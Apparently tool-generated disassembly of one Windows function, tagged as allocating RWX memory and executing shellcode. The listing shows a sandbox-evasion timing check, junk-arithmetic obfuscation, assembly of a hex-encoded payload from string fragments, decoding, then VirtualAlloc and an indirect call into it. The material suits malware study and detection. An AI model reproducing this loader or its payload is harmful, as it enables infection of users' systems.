Function at 0x401312
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4cc
nop
call sub.msvcrt.dll_clock
mov dword [ebp - 4], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0x2f0
push eax
call sub.kernel32.dll_Sleep
call sub.msvcrt.dll_clock
mov dword [ebp - 8], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0x644
push eax
call sub.msvcrt.dll_malloc
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
sub eax, ecx
cmp eax, 0x2f0
jl 0x4013d4
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
sub eax, ecx
cmp eax, 0x354
jge 0x4013d4
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0x40200d
push eax
call sub.msvcrt.dll_printf
add esp, 4
jmp 0x4013fb
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.kknhJQCWi
push eax
call sub.msvcrt.dll_printf
add esp, 4
jmp 0x401d4f
mov eax, str.985b6c4758c7558586f6005785560fc20f7eff6783d4457
mov dword [ebp - 0x10], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, str.6623256340581
mov dword [ebp - 0x14], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, str.3ed75cd13c282744b84b16
mov dword [ebp - 0x18], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.0e67e338009b2f7c117b204b84b1f3db8b809a1b6797f7840a330b004b530680f56a551a7
mov dword [ebp - 0x1c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.bf7409ffc571bee30b391e3d05e4c1fdb00b3007290b5ea05
mov dword [ebp - 0x20], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.e416b4faa5aa359d24a358c59e745099b327dc97c51050078909768
mov dword [ebp - 0x24], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.045519330d96e8004370e83c48230c00f8281d45fe5760d53806556e545e2c
mov dword [ebp - 0x28], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.352c887ae45650dcb0cf2de27a659ac58d00c076362673432742476324509c2531447f62c4a8882013cc26
mov dword [ebp - 0x2c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, str.e889b143af57aca135cfa0055b08551cc753332a0050c8accd20c5a80b1cd4884bc149f2d8e657a9011085b
mov dword [ebp - 0x30], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.228e313d54f4828e71059709ff73527d849e4c4dc2f35acf305de07ebf44e0b5dfed0bff658a751211add6ec5a8555b64
mov dword [ebp - 0x34], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, str.5655fb325af318280083037325608
mov dword [ebp - 0x38], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.f22e9f033822a00
mov dword [ebp - 0x3c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.f1080108da0f35040025e16662355e05505d305638f508cf0656355eb3300f4635cb5629e0da438d66263666525753556
mov dword [ebp - 0x40], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.2435090e1bcf
mov dword [ebp - 0x44], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.a72bb83b165d0f8965fa23978a8f3e479e5a5865600a90565988ccf2336c012b2602f021818196015b21c1b410b8
mov dword [ebp - 0x48], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.097176501107f1020b6ff653149d11f67f0111bb05de567
mov dword [ebp - 0x4c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.4e9310e6255709581c397f41705
mov dword [ebp - 0x50], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.52939b56f90cf982b
mov dword [ebp - 0x54], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, str.d17a2519ae7f75a0e4535d3930acac57b0600045018
mov dword [ebp - 0x58], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.065b53fee19e0d5573c2c55d7d4d43cc77ed0d826586057f57d55608
mov dword [ebp - 0x5c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, str.fd055fc5f1d0380fcff5500
mov dword [ebp - 0x60], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.f0084043f19b3fd7d18097764622764366233263434204d63ad1f0141d4d3794e467f78fd46828cd8
mov dword [ebp - 0x64], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.1a46970d0f4645d05008d08ef3231802b
mov dword [ebp - 0x68], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.2b11c12b000b3c1170d53b344b8ae44cf79fb980962822f97a8f109bf9f10700f108f77ecb3250e916525321dae04290
mov dword [ebp - 0x6c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, str.940e6beff5d582
mov dword [ebp - 0x70], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, str.708ebd27cb52f4fa1a35ec85ee66b0c863aeb304393afa803f0
mov dword [ebp - 0x74], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.9009f738d1830806818f32c588458e3f33e2768805555676455af3c509c
mov dword [ebp - 0x78], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.5655d8567f00fed8d36b20e90e47398a05bf07e9e478246
mov dword [ebp - 0x7c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.7326642663233724454bae7dc7c
mov dword [ebp - 0x80], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.a8dc3915f3a4d3139e8b2bb11f5fc5cbc993d3d600ef0d20ef0caf3330944f07b03f846bbf587710
mov dword [ebp - 0x84], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.f2357b09558f90b4a56d8cedf095e644933c6c0
mov dword [ebp - 0x88], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.66a6708be55b505
mov dword [ebp - 0x8c], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, str.c225051021965
mov dword [ebp - 0x90], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0
mov byte [ebp - 0x4be], al
mov eax, 0x42d
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x4bd]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x34]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x40]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x48]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x64]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x68]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x6c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x70]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x74]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x78]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x7c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x80]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x84]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x8c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x90]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, 0x402686
push eax
mov eax, dword [ebp - 0xc]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x4c4], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [ebp - 0x4c4]
push eax
lea eax, [ebp - 0x4be]
push eax
call fcn.004012c8
add esp, 8
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, 0x40
push eax
mov eax, 0x3000
push eax
mov eax, 0x42e
push eax
mov eax, 0
push eax
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x4c8], eax
mov eax, 0x42e
push eax
lea eax, [ebp - 0x4be]
push eax
mov eax, dword [ebp - 0x4c8]
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x4cc], eax
mov eax, dword [ebp - 0x4cc]
call eax
mov eax, dword [section..data]
mov ecx, dword [0x402004]
add eax, ecx
push eax
mov eax, 0x402689
push eax
call sub.msvcrt.dll_printf
add esp, 8
leave
ret